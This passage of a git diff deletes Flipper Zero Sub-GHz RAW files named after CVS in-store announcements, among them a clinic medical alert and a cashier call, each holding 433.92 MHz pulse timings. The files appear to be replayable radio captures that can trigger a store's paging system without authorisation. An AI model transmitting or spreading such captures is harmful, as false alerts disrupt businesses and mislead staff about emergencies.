780 -744 1584 -1508 780 -740 1588 -1504 784 -744 1576 -4592 788 -748 1560 -1516 788 -748 1560 -1516 832 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -736 1556 -740 1584 -744 1548 -736 1592 -740 1548 -744 1584 -740 1552 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1580 -1504 784 -1504 828 -1504 784 -744 1584 -1500 784 -740 1584 -1504 784 -1504 824 -1500 788 -1508 824 -1504 784 -740 1592 -1500 784 -744 1584 -1504 784 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Batteries.sub b/assets/resources/subghz/Stores/CVS/Batteries.sub deleted file mode 100644 index 9118718ff..000000000 --- a/assets/resources/subghz/Stores/CVS/Batteries.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 788 -748 1560 -1512 824 -740 1548 -740 1584 -736 1548 -744 1580 -740 1548 -736 1588 -744 1544 -736 1584 -740 1552 -736 1588 -740 1544 -736 1588 -740 1548 -740 1588 -736 1544 -744 1584 -740 1548 -740 1584 -740 1544 -740 1592 -1500 784 -740 1580 -1500 784 -1504 820 -1504 784 -1500 824 -1504 780 -1504 820 -1504 784 -1500 828 -1504 784 -740 1584 -1500 784 -744 1584 -1500 784 -736 1584 -4584 788 -752 1556 -1512 784 -748 1560 -1512 832 -744 1544 -740 1580 -740 1552 -744 1584 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -740 1548 -740 1584 -740 1548 -736 1592 -1500 788 -736 1580 -1500 788 -1496 828 -1504 780 -1504 820 -1500 788 -1500 824 -1500 784 -1504 828 -1500 780 -740 1592 -1496 788 -736 1584 -1504 788 -740 1576 -4580 796 -740 1564 -1512 792 -748 1556 -1512 832 -736 1552 -744 1584 -740 1548 -736 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -736 1588 -736 1548 -740 1592 -740 1544 -740 1584 -740 1548 -744 1588 -736 1548 -736 1588 -740 1548 -744 1584 -1504 784 -744 1576 -1508 784 -1500 824 -1500 788 -1500 824 -1500 788 -1504 820 -1500 784 -1500 832 -1500 784 -740 1588 -1504 784 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -744 1584 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1588 -1500 784 -744 1584 -1504 780 -1504 824 -1500 784 -1508 820 -1500 788 -1504 820 -1504 784 -1508 824 -1504 784 -744 1584 -1500 788 -740 1588 -1500 788 -740 1580 -4588 792 -744 1560 -1516 792 -748 1560 -1512 828 -740 1552 -740 1588 -736 1548 -744 1588 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -740 1588 -744 1540 -740 1592 -744 1544 -740 1588 -740 1544 -740 1592 -740 1548 -740 1580 -740 1552 -736 1592 -1504 784 -740 1580 -1500 792 -1500 820 -1504 788 -1500 824 -1500 784 -1504 824 -1504 784 -1496 836 -1496 788 -736 1592 -1500 788 -736 1588 -1500 784 -744 1580 -4584 792 -744 1560 -1516 788 -752 1560 -1508 832 -736 1556 -736 1588 -736 1548 -740 1588 -740 1552 -740 1584 -736 1548 -744 1584 -744 1544 -740 1588 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1544 -744 1588 -740 1544 -740 1592 -1500 788 -740 1584 -1496 784 -1500 828 -1504 784 -1504 824 -1504 784 -1500 820 -1508 788 -1500 828 -1504 784 -740 1584 -1500 788 -740 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -744 1564 -1508 -RAW_Data: 836 -740 1544 -744 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1548 -736 1592 -740 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -1500 784 -740 1584 -1504 784 -1504 824 -1504 784 -1504 820 -1504 784 -1508 824 -1496 788 -1508 824 -1504 784 -744 1584 -1504 788 -740 1584 -1504 780 -744 1580 -4584 796 -744 1560 -1520 788 -744 1564 -1516 824 -740 1552 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1584 -744 1548 -736 1592 -736 1548 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1592 -1500 788 -740 1584 -1496 788 -1504 824 -1504 784 -1508 824 -1500 784 -1508 824 -1500 784 -1508 824 -1504 788 -740 1584 -1504 788 -740 1588 -1500 784 -740 1584 -4588 788 -748 1560 -1520 788 -744 1560 -1520 824 -740 1552 -740 1588 -740 1544 -740 1592 -740 1548 -740 1584 -740 1552 -740 1584 -748 1548 -740 1588 -740 1548 -740 1592 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1592 -1504 784 -740 1584 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1508 824 -1500 784 -1500 832 -1504 788 -740 1584 -1500 788 -740 1588 -1500 788 -736 1584 -4592 792 -740 1564 -1512 796 -744 1564 -1512 832 -744 1544 -740 1588 -736 1556 -736 1588 -740 1544 -744 1592 -736 1548 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1548 -736 1592 -744 1548 -740 1584 -740 1552 -740 1584 -740 1548 -740 1592 -1504 784 -740 1580 -1504 788 -1504 820 -1500 788 -1504 820 -1504 788 -1500 828 -1500 784 -1504 832 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Body_Wash.sub b/assets/resources/subghz/Stores/CVS/Body_Wash.sub deleted file mode 100644 index 6a3e48d3e..000000000 --- a/assets/resources/subghz/Stores/CVS/Body_Wash.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1516 788 -748 1556 -1516 828 -744 1544 -740 1584 -740 1544 -744 1580 -740 1548 -744 1580 -744 1544 -740 1584 -740 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -1504 784 -736 1580 -1504 784 -1500 832 -1500 784 -740 1584 -1504 780 -744 1584 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1584 -1508 780 -740 1580 -4588 792 -748 1552 -1516 788 -744 1560 -1512 832 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -740 1588 -736 1552 -736 1588 -736 1552 -740 1584 -740 1548 -740 1588 -736 1544 -744 1592 -1500 784 -740 1584 -1496 788 -1504 828 -1504 784 -740 1584 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -1500 828 -1504 784 -736 1592 -1500 788 -740 1576 -4592 784 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -1500 784 -744 1580 -1508 784 -1504 824 -1504 784 -740 1592 -1504 784 -740 1588 -1504 780 -744 1580 -1508 780 -1504 828 -1504 784 -744 1584 -1504 784 -740 1584 -4588 792 -748 1556 -1516 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1584 -744 1548 -736 1588 -740 1548 -740 1592 -1508 780 -740 1580 -1508 780 -1504 824 -1504 788 -740 1588 -1504 784 -740 1584 -1508 780 -744 1580 -1504 784 -1504 828 -1504 780 -744 1584 -1508 780 -740 1584 -4592 788 -748 1556 -1516 788 -748 1560 -1512 832 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -736 1592 -736 1548 -744 1584 -740 1552 -736 1592 -736 1552 -740 1588 -736 1552 -740 1588 -736 1552 -740 1588 -736 1548 -740 1588 -736 1552 -740 1592 -1500 788 -740 1580 -1504 784 -1504 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 784 -744 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 784 -744 1576 -4592 788 -748 1556 -1516 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1588 -736 1552 -736 1588 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1592 -732 1552 -740 1588 -1504 784 -740 1584 -1500 784 -1500 832 -1504 788 -740 1584 -1504 784 -740 1584 -1504 788 -740 1576 -1504 788 -1500 828 -1504 784 -740 1588 -1504 784 -740 1580 -4592 784 -752 1556 -1520 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -740 1588 -740 1544 -740 1592 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -744 1548 -736 1592 -740 1548 -740 1592 -1504 784 -740 1576 -1504 788 -1500 832 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1576 -4592 792 -744 1564 -1512 792 -744 1560 -1520 828 -740 1548 -740 1584 -744 1548 -744 1584 -740 1552 -740 1588 -736 1552 -740 1584 -740 1552 -740 1588 -744 1548 -736 1588 -744 1548 -744 1584 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -740 1588 -1508 780 -740 1584 -1508 780 -1508 824 -1504 784 -740 1588 -1504 784 -744 1588 -1504 784 -740 1584 -1504 784 -1500 828 -1504 784 -736 1592 -1504 788 -740 1576 -4592 792 -740 1564 -1512 792 -744 1564 -1516 828 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1588 -744 1548 -736 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1588 -1504 784 -740 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1500 788 -736 1588 -1504 784 -740 1584 -1500 784 -1504 828 -1504 784 -736 1588 -1504 784 -744 1576 -4588 788 -748 1560 -1508 796 -744 1564 -1508 832 -744 1544 -740 1584 -744 1544 -744 1580 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1580 -1500 788 -1500 832 -1500 788 -740 1584 -1504 784 -736 1588 -1504 784 -740 1584 -1496 788 -1500 828 -1508 780 -744 1580 -1508 780 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub b/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub deleted file mode 100644 index 33f270c28..000000000 --- a/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1516 784 -748 1552 -1520 824 -748 1536 -748 1576 -744 1544 -744 1580 -748 1536 -748 1580 -740 1544 -748 1576 -748 1540 -748 1580 -744 1544 -740 1580 -748 1540 -748 1580 -744 1540 -744 1584 -744 1540 -748 1580 -740 1544 -748 1576 -1508 780 -1512 816 -1508 780 -748 1572 -1508 776 -1512 820 -1508 776 -748 1580 -1508 780 -740 1584 -1508 776 -744 1580 -1508 780 -744 1580 -1508 780 -744 1572 -4592 788 -748 1552 -1520 784 -752 1556 -1516 824 -744 1544 -748 1576 -748 1540 -748 1580 -744 1540 -748 1580 -748 1540 -740 1588 -744 1540 -744 1580 -748 1544 -744 1584 -740 1544 -748 1576 -748 1544 -744 1580 -744 1544 -744 1584 -744 1544 -744 1580 -1508 780 -1508 824 -1504 780 -744 1580 -1504 784 -1504 824 -1504 784 -740 1584 -1508 780 -740 1584 -1508 780 -744 1584 -1504 784 -744 1580 -1508 780 -744 1576 -4592 788 -752 1552 -1516 788 -752 1556 -1520 824 -744 1544 -744 1584 -748 1540 -744 1580 -748 1544 -740 1584 -744 1544 -744 1580 -748 1540 -744 1580 -744 1544 -744 1584 -744 1540 -748 1580 -748 1540 -748 1580 -744 1544 -740 1584 -748 1540 -748 1580 -1508 776 -1508 824 -1508 780 -744 1576 -1508 780 -1508 820 -1508 780 -744 1584 -1508 780 -740 1584 -1508 780 -744 1580 -1508 780 -744 1584 -1508 776 -748 1576 -4588 788 -748 1556 -1520 784 -752 1552 -1520 824 -748 1540 -744 1584 -744 1544 -744 1584 -744 1540 -748 1584 -748 1540 -744 1584 -744 1548 -740 1584 -748 1540 -748 1580 -748 1544 -744 1584 -740 1548 -740 1584 -748 1540 -748 1584 -740 1548 -744 1580 -1508 780 -1508 824 -1508 780 -748 1576 -1508 780 -1504 828 -1508 780 -744 1584 -1508 780 -744 1580 -1512 776 -748 1580 -1508 780 -748 1584 -1508 780 -740 1576 -4592 788 -748 1556 -1520 784 -752 1556 -1520 828 -744 1544 -740 1584 -748 1544 -744 1584 -744 1544 -744 1584 -740 1548 -748 1576 -748 1544 -748 1580 -744 1544 -744 1584 -744 1544 -748 1576 -748 1544 -744 1584 -744 1544 -748 1576 -748 1540 -748 1580 -1512 776 -1512 820 -1508 780 -748 1572 -1512 776 -1512 820 -1512 776 -752 1576 -1516 776 -744 1584 -1512 776 -748 1580 -1512 776 -748 1576 -1516 776 -748 1572 -4596 784 -756 1548 -1524 780 -756 1552 -1524 820 -756 1536 -748 1576 -752 1536 -752 1572 -756 1536 -752 1576 -748 1540 -752 1576 -748 1540 -756 1572 -752 1536 -752 1576 -752 1536 -756 1572 -756 1532 -752 1576 -752 1536 -752 1576 -752 1536 -752 1576 -1512 776 -1512 816 -1512 776 -752 1568 -1516 776 -1512 816 -1516 776 -748 1580 -1516 772 -748 1576 -1516 772 -752 1576 -1512 776 -752 1576 -1512 776 -752 1568 -4596 780 -756 1548 -1528 776 -760 1548 -1524 -RAW_Data: 820 -748 1540 -748 1576 -752 1540 -748 1576 -752 1540 -748 1580 -748 1540 -748 1576 -752 1536 -756 1572 -752 1536 -752 1576 -752 1536 -748 1576 -752 1540 -748 1576 -756 1536 -748 1576 -756 1532 -756 1572 -1516 772 -1516 816 -1512 776 -752 1568 -1516 772 -1512 820 -1512 776 -752 1576 -1512 776 -748 1576 -1516 772 -752 1576 -1512 776 -752 1576 -1516 772 -748 1572 -4596 784 -756 1552 -1520 780 -760 1552 -1520 824 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1544 -744 1584 -748 1536 -752 1576 -748 1540 -744 1584 -744 1540 -748 1580 -1508 776 -1512 820 -1512 776 -752 1568 -1508 780 -1508 824 -1512 776 -748 1580 -1508 776 -748 1576 -1508 784 -744 1580 -1508 780 -748 1576 -1512 776 -752 1572 -4588 788 -752 1556 -1516 788 -752 1552 -1520 824 -748 1540 -744 1584 -744 1544 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1544 -744 1580 -744 1544 -748 1576 -748 1544 -744 1580 -744 1544 -748 1580 -748 1540 -744 1584 -744 1540 -748 1580 -1508 780 -1508 820 -1512 776 -744 1576 -1508 780 -1512 824 -1504 784 -740 1588 -1508 780 -740 1584 -1508 780 -748 1580 -1508 776 -748 1584 -1508 776 -748 1576 -4596 788 -752 1552 -1520 788 -748 1556 -1524 820 -748 1540 -748 1580 -748 1540 -748 1580 -748 1544 -740 1584 -748 1540 -748 1580 -744 1544 -744 1584 -744 1544 -748 1580 -744 1544 -748 1580 -744 1544 -744 1580 -748 1544 -744 1580 -744 1544 -748 1580 -1504 784 -1508 824 -1504 784 -740 1580 -1508 780 -1504 828 -1504 780 -748 1584 -1508 780 -740 1584 -1508 780 -744 1584 -1504 784 -740 1588 -1504 780 -744 1556 -15884 diff --git a/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub b/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub deleted file mode 100644 index 48d190207..000000000 --- a/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 788 -748 1556 -1512 832 -736 1552 -740 1584 -736 1548 -740 1588 -740 1544 -740 1588 -744 1544 -736 1588 -744 1548 -740 1584 -736 1552 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -744 1544 -740 1584 -740 1552 -736 1584 -1504 784 -1508 816 -1504 784 -1504 820 -1504 784 -1508 816 -1504 788 -1504 824 -1504 784 -740 1584 -1508 780 -740 1584 -1508 780 -744 1576 -1500 788 -1504 820 -4588 788 -748 1560 -1512 788 -748 1560 -1512 828 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -744 1588 -736 1548 -736 1592 -744 1544 -740 1588 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -744 1584 -1500 788 -1504 820 -1500 788 -1504 820 -1504 788 -1504 820 -1500 788 -1504 824 -1504 784 -736 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -4588 788 -748 1556 -1516 788 -748 1560 -1516 824 -740 1552 -740 1584 -740 1548 -744 1584 -740 1548 -736 1592 -740 1544 -740 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -744 1588 -740 1544 -740 1588 -744 1544 -740 1584 -1508 784 -1500 824 -1504 784 -1500 824 -1504 784 -1504 824 -1500 784 -1504 828 -1504 784 -736 1588 -1504 784 -744 1584 -1504 784 -744 1580 -1504 784 -1504 820 -4588 788 -748 1560 -1512 792 -748 1560 -1512 832 -736 1556 -736 1588 -736 1556 -740 1584 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -1500 788 -1504 820 -1504 784 -1504 820 -1504 788 -1500 824 -1504 784 -1504 828 -1508 780 -740 1588 -1504 784 -740 1588 -1508 780 -736 1584 -1508 784 -1500 820 -4592 788 -744 1560 -1516 788 -748 1556 -1516 832 -740 1548 -736 1588 -744 1548 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -736 1588 -744 1544 -740 1588 -736 1552 -740 1588 -740 1544 -744 1584 -1504 784 -1504 820 -1504 788 -1500 824 -1504 780 -1504 824 -1500 788 -1500 832 -1504 780 -740 1588 -1504 784 -740 1588 -1504 784 -740 1584 -1504 780 -1504 820 -4592 784 -752 1556 -1516 792 -744 1560 -1516 824 -744 1552 -736 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1508 780 -1508 820 -1504 780 -1508 824 -1504 784 -1508 820 -1504 784 -1504 828 -1504 780 -748 1584 -1504 784 -744 1584 -1500 788 -740 1580 -1504 784 -1504 824 -4588 788 -744 1564 -1512 792 -748 1560 -1516 -RAW_Data: 828 -740 1544 -744 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1548 -740 1584 -740 1548 -744 1584 -736 1552 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1508 824 -1504 780 -1504 824 -1500 784 -1504 824 -1500 784 -1504 828 -1508 780 -744 1584 -1504 788 -736 1588 -1500 788 -740 1580 -1508 780 -1504 824 -4588 788 -748 1560 -1516 788 -744 1564 -1512 832 -736 1548 -744 1588 -744 1548 -740 1584 -740 1544 -744 1588 -740 1548 -740 1584 -744 1544 -744 1588 -740 1544 -740 1588 -740 1552 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -744 1584 -1508 784 -1504 824 -1504 784 -1504 824 -1504 784 -1504 824 -1504 784 -1508 828 -1504 784 -736 1588 -1504 784 -740 1588 -1504 788 -740 1580 -1504 788 -1500 824 -4588 792 -744 1560 -1516 788 -748 1564 -1512 832 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -740 1584 -740 1548 -744 1588 -740 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1592 -740 1548 -740 1584 -1508 784 -1504 820 -1508 780 -1504 824 -1504 784 -1504 824 -1500 784 -1504 828 -1504 784 -744 1588 -1500 784 -744 1584 -1504 784 -740 1584 -1500 788 -1504 824 -4588 788 -752 1552 -1524 788 -744 1560 -1520 828 -744 1544 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -740 1552 -744 1584 -736 1552 -740 1588 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1592 -740 1548 -740 1584 -1504 788 -1504 824 -1500 788 -1504 820 -1508 784 -1504 824 -1500 784 -1504 828 -1504 784 -744 1584 -1504 784 -740 1588 -1508 784 -740 1580 -1504 784 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub b/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub deleted file mode 100644 index 9c6a9ed24..000000000 --- a/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1512 792 -744 1560 -1512 828 -740 1548 -744 1580 -740 1552 -736 1588 -740 1548 -740 1580 -744 1548 -744 1584 -744 1544 -740 1584 -740 1544 -744 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -1500 788 -740 1584 -1504 784 -740 1580 -1500 788 -1504 828 -1504 784 -740 1584 -1500 788 -1496 832 -1504 784 -736 1592 -1500 784 -744 1584 -1504 784 -740 1576 -4592 788 -752 1556 -1516 788 -744 1560 -1516 832 -740 1552 -732 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -732 1552 -740 1588 -740 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -736 1548 -740 1592 -736 1548 -740 1592 -1504 788 -736 1588 -1504 784 -740 1576 -1512 780 -1504 828 -1504 784 -740 1584 -1504 784 -1500 828 -1504 784 -736 1592 -1496 788 -744 1584 -1504 784 -736 1584 -4584 792 -744 1568 -1512 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1592 -732 1556 -736 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1580 -748 1544 -740 1592 -1500 784 -744 1588 -1500 788 -736 1584 -1500 784 -1504 832 -1500 784 -744 1576 -1512 780 -1504 832 -1504 784 -744 1584 -1504 784 -744 1584 -1500 784 -748 1576 -4592 788 -744 1564 -1516 792 -744 1556 -1516 832 -740 1552 -736 1584 -748 1544 -736 1592 -744 1540 -748 1588 -736 1552 -736 1588 -744 1544 -744 1588 -736 1552 -740 1580 -748 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -744 1584 -1508 780 -740 1580 -1504 788 -1496 832 -1500 788 -740 1580 -1504 784 -1504 828 -1500 780 -744 1592 -1496 788 -744 1584 -1504 784 -744 1576 -4592 788 -748 1560 -1512 796 -740 1560 -1516 832 -740 1552 -736 1584 -744 1552 -736 1588 -740 1544 -748 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -748 1580 -744 1548 -740 1584 -748 1544 -740 1588 -736 1552 -740 1580 -744 1552 -740 1588 -1504 784 -736 1592 -1500 788 -740 1580 -1504 788 -1496 832 -1504 784 -744 1576 -1508 784 -1500 828 -1508 780 -744 1584 -1508 784 -736 1588 -1508 784 -740 1580 -4592 788 -748 1556 -1520 792 -744 1560 -1512 832 -740 1548 -744 1584 -740 1552 -736 1584 -744 1548 -736 1592 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -740 1552 -740 1580 -744 1552 -736 1588 -744 1548 -740 1588 -1504 784 -740 1588 -1504 784 -744 1580 -1504 784 -1504 832 -1500 784 -740 1584 -1504 784 -1500 832 -1500 784 -740 1592 -1504 780 -744 1584 -1508 780 -740 1580 -4588 788 -752 1556 -1516 788 -748 1556 -1516 -RAW_Data: 832 -740 1544 -744 1588 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -736 1588 -744 1544 -740 1588 -744 1540 -744 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1592 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1508 784 -740 1584 -1508 784 -736 1588 -1508 784 -740 1580 -4592 788 -748 1556 -1516 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -736 1588 -748 1540 -744 1592 -740 1544 -744 1584 -744 1544 -744 1584 -740 1552 -740 1592 -1500 784 -744 1588 -1496 788 -744 1576 -1512 780 -1508 824 -1504 780 -748 1576 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -748 1556 -1520 788 -748 1556 -1520 828 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -740 1592 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1588 -740 1544 -748 1584 -744 1544 -744 1584 -740 1548 -744 1588 -1504 788 -740 1588 -1500 788 -736 1584 -1504 784 -1504 828 -1508 784 -744 1576 -1508 784 -1496 832 -1504 784 -744 1588 -1504 780 -744 1588 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -744 1548 -736 1592 -740 1552 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -744 1548 -740 1592 -1500 788 -740 1588 -1504 784 -744 1584 -1500 788 -1504 828 -1508 784 -744 1576 -1508 784 -1504 828 -1504 784 -740 1588 -1508 784 -740 1584 -1508 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cough_Cold.sub b/assets/resources/subghz/Stores/CVS/Cough_Cold.sub deleted file mode 100644 index 4c57030e2..000000000 --- a/assets/resources/subghz/Stores/CVS/Cough_Cold.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1560 -1516 792 -748 1556 -1508 832 -740 1548 -740 1588 -732 1548 -744 1580 -744 1548 -736 1588 -736 1548 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -736 1548 -740 1584 -740 1548 -740 1588 -736 1552 -732 1588 -740 1548 -744 1580 -1504 784 -1500 824 -1504 780 -1508 820 -1500 788 -1500 828 -1500 788 -736 1592 -1500 784 -740 1584 -1500 792 -736 1584 -1508 780 -744 1580 -1504 784 -740 1580 -4584 796 -744 1556 -1516 788 -748 1560 -1512 832 -736 1552 -736 1588 -740 1544 -744 1588 -736 1552 -736 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -736 1588 -740 1548 -744 1588 -740 1544 -740 1584 -740 1548 -736 1588 -744 1544 -740 1584 -1500 788 -1500 824 -1504 780 -1500 824 -1500 788 -1500 824 -1508 784 -744 1584 -1500 784 -740 1584 -1504 788 -740 1584 -1508 780 -740 1588 -1500 788 -740 1580 -4584 792 -752 1556 -1516 788 -744 1564 -1512 832 -736 1548 -748 1584 -740 1552 -732 1592 -740 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -732 1592 -736 1548 -744 1584 -740 1552 -736 1588 -740 1548 -744 1588 -740 1552 -736 1584 -1508 784 -1504 824 -1500 784 -1508 820 -1500 792 -1500 824 -1504 788 -740 1588 -1504 780 -744 1588 -1500 788 -736 1588 -1500 788 -744 1584 -1504 780 -744 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1512 832 -744 1544 -744 1588 -736 1548 -736 1588 -740 1548 -744 1588 -740 1548 -736 1588 -736 1552 -744 1584 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -736 1552 -740 1588 -744 1544 -744 1584 -1508 780 -1500 832 -1504 780 